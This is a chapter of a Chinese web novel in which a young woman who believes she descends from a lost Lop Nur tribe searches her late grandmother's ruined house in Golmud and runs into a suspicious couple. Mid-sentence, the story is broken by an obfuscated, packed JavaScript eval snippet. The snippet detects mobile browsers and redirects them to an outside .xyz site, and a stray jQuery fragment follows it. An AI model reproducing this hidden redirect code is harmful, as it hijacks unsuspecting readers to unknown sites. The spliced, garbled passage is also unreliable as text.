12.格尔木

作品:《被风沙掩埋的秘密

    从敦煌出发,七个多小时车程,莫醉开得很快,六个小时四十七分,赶在凌晨一点前回到茫崖。


    街边商店早已歇息,只有霓虹灯牌亮得刺眼,红的黄的白的,边缘在黑夜中晕散,复古又真实。天空星辉斑斓,远离灯光的地方可见棉团儿似的星云。皮卡的远光灯毫无遮挡,刺透整条马路,消融在城市尽头的戈壁和雅丹群中。


    莫醉将皮卡停在一条小巷子里,在夜风中走了几十米,回到盛唐旅馆。


    大门处落着卷帘门,莫醉抬起半米高,灵巧钻进黑漆漆的旅店内。


    明明只离开五日,地面却积了一层沙尘。卷帘门重新落下,莫醉摸黑走到柜台后的角落,瘫倒在斑驳起皮的老旧皮沙发上,长长舒了口气。


    这一趟真是有够累的。


    她合上双眼,身体疲惫,思绪却很活络,穿越经年的风沙尘土,回到她和罗布泊相遇的起点。


    那是四年前的事了。


    那年她大学毕业,相依为命的祖母突然病重,她赶到病床前时,祖母已是进气多出气少。她附耳到她的唇边,隔着呼吸机,勉强听清祖母留给她的最后一句话。


    “快逃,去罗布泊,那里是一切的起点,也是所有人的终点。只有罗布泊能保护你。”


    祖母还要说什么,只剩大口喘息,再发不出半个音节。她拼尽全力,颤颤巍巍侧过头,看向桌面上倒扣着的水杯,希望她能明白这其中的含义。


    莫醉能明白……就怪了。那年她不过二十二岁,还很年轻,只当祖母病入膏肓,在说胡话。后来,她在殡仪馆好心人的帮助下,懵懵懂懂混混沌沌为祖母办了丧事,整理祖母的遗物时,发现一个生锈的饼干盒子。


    饼干盒子像是几十年前的款式,表面绘着几个浓眉大眼的小孩子,边缘处锈得看不出轮廓,几乎融在一起,莫醉用了好大的力气才撬开。盒子里放着一本泛黄的笔记本。笔记本的内容是关于一个很久以前生活在罗布泊里,名叫“吉牙”的部落,莫醉翻了几页没了兴致,随手放回饼干盒,塞进角落的架子上。


    后来的一年,是莫醉人生中最跌宕起伏、惊心动魄的一年,莫名其妙被人绑架,莫名其妙被人抽血,又莫名其妙被人给放了。她也不知道她是如何招惹了这么一群人,只是自那以后,她的生活便发生了变化。


    走在路上会被人跟踪;放在桌上的饮料,离开取餐具的功夫都会有人下药;走到阴暗角落时会有人试图将她强行掳走。


    她终于有些相信祖母临终前说的话了。


    莫醉连夜回到住处,将祖母为数不多的遗物全部塞进箱子里,包括生锈的饼干盒。这之后她带着这个箱子,奔赴千里,走走停停,最终落脚在这个人烟稀少,关系简单,距离罗布泊近,还可向四处逃亡的小城市。


    一呆就是三年。


    这三年中,她无数次翻看那本泛黄的笔记,知晓了不少关于吉牙人的事,比如他们不畏惧炙热高温,对水的需求量极少,能在罗布泊中很好的生存,却在几十年前离开故土;比如他们常年生活在地下,夜视能力很强,在地下建立了新的文明;再比如他们可以在罗布泊中靠直觉辨认方向,靠气味分辨出一定距离内是否有活人的气息。


    巧的是,这些特征莫醉都有。


    她几乎可以确定,她就是吉牙人的后裔。


    所以,那群人找寻她,追杀她,都是为了吉牙文明。她若想终结、摆脱这一切,就需要去到荒漠最深处,找到掩埋在风沙里的秘密。


    这三年中,她无数次出入罗布泊,但什么都没找到。她对吉牙遗址的位置知之甚少,可以说除了知道他们曾经住在罗布泊之外,其他一无所知。莫醉时常想穿越时空到几十年前,问问写笔记的那人,为什么写的全是屁话,最重要的信息,比如吉牙部落究竟生活在罗布泊的什么地方,却是只字不提。


    这次进入罗布泊,她本也没报太大的希望,却没想到阴差阳错,竟真的能找到些不一样的东西。


    比如那个地洞。


    那个地洞是如何被发现,机关是如何被触发,她一无所知。但在地洞中时,她曾在黑暗中绕了几圈,借着比常人更厉害的夜视能力,发现地洞的隐蔽处竟然藏着机关。而更巧的是,这机关她曾见过,与年少时祖母给她玩过的小玩具,几乎一模一样,她恰好知道打开的方式。


    若她没记错的话,这样的机关该是有三个。单独打开算游戏失败,若三个机关同时在一定时间内开启,则会获得最后的宝藏。


    或许祖母在很久以前,就告诉过她很多关于吉牙的信息,只是她一直未曾发觉。


    看来,需要回趟祖母的老宅,也是她幼年时短暂生活过的地方,看看是否能有新的发现,能帮她想起小时候的事。


    -


    莫醉睡了一天一夜,最后被手机短信声吵醒。她闭着眼睛,将手伸到柜台上摸索,拔下正在充电的手机,拿到眼前一瞧,瞬间清醒。


    屏幕上是一条转账短信,莫醉揉了揉眼睛,数了好几遍,才确认这不是一场梦。


    个十百千万……二十万!整整二十万!


    季老板威武!她终于能给皮卡换底板了!


    莫醉神清气爽,腿也不疼了腰也不酸了,从沙发上爬起来,在黑暗的旅馆大堂蹦蹦哒哒,跳着不伦不类的舞步,活像个跳大神的。等到跳累了,靠在桌子上歇息时,才注意到手机上还有一条消息提醒。


    是微信的好友添加。


    “,”请求添加你为朋友。


    微信名只有一个逗号,好友申请也未留下只言片语。莫醉点开这人的头像,是一只带着滑雪镜的萨摩耶,冲着镜头微笑。它的背后是日照金山的美景,连带着萨摩耶都金灿灿的。


    她想起离开敦煌时,给边洛阳留下的手机号,没多想,通过了这条好友申请。


    -


    莫醉原本打算休整两天后,尽快启程前往格尔木,祖母老宅的所在地,如今却因着这二十万,不得不再耽搁些时日。等到她的皮卡改装完毕,从修车厂开回来,小旅馆又活见鬼迎来四个年轻的客人,有男有女,一次性定了一个星期的房。


    有钱不赚王八蛋,莫醉将行程继续延后,专心伺候这四个客人。


    按理说,茫崖毕竟是个小地方,来旅游的游客最多住个一夜两夜,看看风景,感受感受风土人情,也就离开了,这四个人却不知来做什么,每日早出晚归,三日后失去踪影,第七日才赶回来退房。


    这么一耽搁,再从茫崖出发时,已是十月底,天寒地冻的时候。


    格尔木平均海拔近三千,冬天来的比平原地区要早得多。莫醉到达格尔木的那日,天空中飘着零零碎碎的雪花,道路旁积着零零散散的雪。雪日无光,天色昏昏沉沉,远处山峦顶端重新覆盖上雪顶,与灰白色的天空融为一体,向山下不断延伸。雪下的山石浸透雪水后是湿漉漉的黑,连接着近处布满碎石的戈壁,苍茫寂寥。


    莫醉三岁前一直住在格尔木的祖母家,后来到了要上幼儿园的年纪,在外打拼的父母将她和祖母一起接到几千公里外的燕城。这之后,她和祖母偶尔会在寒暑假回到格尔木的老院子中,直到她上小学三年级后,才再没回去过。


    在她的记忆里,祖母家在城市边缘的村庄中,有个很大的院子,院门是泛着白的青绿色铁门,门框是灰黄色的砖石堆砌而成。铁门开合时,会有吱吱呀呀的刺耳响声,后来还是父亲回乡探亲时,用几滴润滑油,完美解决这个问题。


    院中角落有一排铁笼子,养着几只鸡,每日天不亮就开始叫,祖母带着她去鸡窝里掏鸡蛋,有的鸡蛋刚掏出来时甚至是热乎的,对年幼的孩子来说很是新奇。


    如今已经过去二十多年,她早不记得祖母家的位置,只有藏在记忆深处的画面,声音,和味道,是仅剩的可以抓住的记忆。好在她曾瞧见过祖母的档案,档案的起点就是这座格尔木的小院子,匆匆一瞥中,她将这行地址记得七七八八,如今竟能派上用场。


    莫醉将车停在格尔木市中心一个距离派出所不远的停车场里,透过停车场黑色的栏杆,可以瞧见街对面派出所蓝白色的建筑,瞧着分外安全。下车时,雪已经停了,莫醉揣着几枚硬币,乘坐公交车到了格尔木北边,跟着导航走走停停,街边的景色逐渐变得荒凉古旧,像是被雪冻结了时间。


    祖母的院子在一个名叫那河村的地方,鼎盛时期有近百户人家,目前尚在村里居住的不足十户。村口靠马路的地方有个小卖部,门前立着个褪色的遮阳棚,棚上堆积着薄薄一层雪,棚下围着透明塑料布,里面挤着几个人,正凑在一起打扑克嗑瓜子。看到莫醉的身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430595|183971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    影后,其中一人掀开塑料布,用方言招呼几句,见莫醉听不懂,才换了普通话:“你是哪户人家的尕丫头?”


    莫醉扫过眼前几人,两个老太太和一个年轻的小伙子占据石头墩子牌桌的三个角,年轻人身后站着个年轻姑娘,穿着单薄的呢子外套,时不时蹦跳几下,驱散寒意,眼神则专注地看着前方年轻男人的牌。两个老太太身后还站着一个头发花白,拄着拐的老头,也是开口问莫醉话的人。


    莫醉随口捏了个谎话:“我是游客,对格尔木的老村庄很感兴趣,正好路过,就想进村子转转。”


    那老头子挥挥手:“都是些破房子,有什么好看的?你要去就去吧,就是小心些,雪天路滑,地上到处都是钉子和碎玻璃,一不小心能被划好大一个口子。”


    莫醉笑着点头,接下这份好意。


    村中大部分院子已经破败,院内堆满垃圾,角落长满一簇一簇的野草,院墙倒的倒塌的塌,几乎瞧不见完整的。莫醉踩着泥泞的土路,穿过荒废的村庄,循着记忆里的路线,在角落找到了祖母的院子。


    院内养鸡的铁笼子已不见了踪影,院中三间屋子的门窗也只剩下边框。莫醉小心翼翼踩过院中堆成山的垃圾,走进记忆深处最熟悉的地方。


    未被人带走的家具早不见曾经的光鲜,破破烂烂,一碰就碎。橱柜里还残留着曾经的生活用品,不值什么钱,无人带走。莫醉在三间屋里转了几圈,最后停在祖母的房间。


    祖母的房间有一个书橱,书橱是上个世纪八九十年代的款式,莫醉常在年代剧中看到。在她的记忆里,书橱里曾放着密密麻麻的古书和笔记,还有一些小说绘本,如今有的已经遗失,剩下的散乱摊开在书橱附近的地面上,七扭八歪,显然曾经被人翻找过。


    莫醉蹲下身,一本一本翻,没发现任何和吉牙相关的内容。


    书橱旁放着个没有盖的收纳箱,箱子里是她幼年时的玩具。她翻翻找找,没找到曾经玩过的机巧玩具,不知是被人带走了,还是她和祖母离开时,带到了燕城。


    莫醉正准备起身,手指在箱子底部摸到一本外皮光滑的硬壳册子,她小心翼翼取出,是一本粉红色的相册。


    粉红色的壳子外皮泛黄,边角处破损残缺,但里面的照片还很完整。莫醉翻了翻,前几页放着的都是她年幼时的照片,还有父母年轻时的彩色照片。翻到最后几页,却成了老旧的黑白照片。


    这相册的时间,竟是由近及远。


    黑白照片记录了祖母的年轻时,背景是莫醉从未见过的地方,她正要细看,耳边却听到奇怪的声响,像是几个人踩着砖瓦碎玻璃,逐渐靠近的脚步声。


    莫醉动作一顿,立刻掀开冲锋衣,将相册的边缘塞进牛仔裤里,剩下的部分紧贴着腹部放好,最后用冲锋衣牢牢盖住,确认不会被看出后,才缓缓站起身,看向出现在院门口的人。


    这俩人她刚刚见过,正是在村口遮阳篷下打牌的那对年轻情侣。


    莫醉刚刚就奇怪,这么年轻的两个人,为什么还愿意呆在一个早就落败的村庄。她还以为是年轻人梦想靠自己的力量发展家乡,如今才醒悟,不是所有人都和她似的,有这么高的觉悟。


    斗地主不能救村。


    莫醉走出房间,站到垃圾堆上,居高临下先发制人:“你们要干什么?”


    那两个年轻人愣了一下,显然没想到莫醉会这般理直气壮。他们对看一眼,年轻女人开口问:“我们路过这里,听到响声,才想着进来看看。这房子已经许多年没人来过了,你是这家的人吗?”


    莫醉咧开嘴笑得无赖:“我刚不是都说了嘛,我是游客,随便逛逛。”


    年轻女人抿了下唇:“我们是这村子里的村民,很久没见过年轻游客对这里感兴趣了。要不要去我们家喝杯茶?”


    莫醉挑眉,叽里咕噜说了一串话。年轻女人一愣:“这是什么意思?”


    莫醉眨眨眼睛:“这是村子里的方言,你们没听过吗?”


    对面那两人呆在原地,半晌,年轻男人才反应过来,笑容几分僵硬:“姑娘真爱说笑。你既然是游客,怎么可能会这里的方言呢?”


    “是啊,我随便说的,你们别放心上哈。”莫醉拍拍手上的灰,从垃圾山上顺坡溜下,“不是说要请我吃饭么?带路吧。”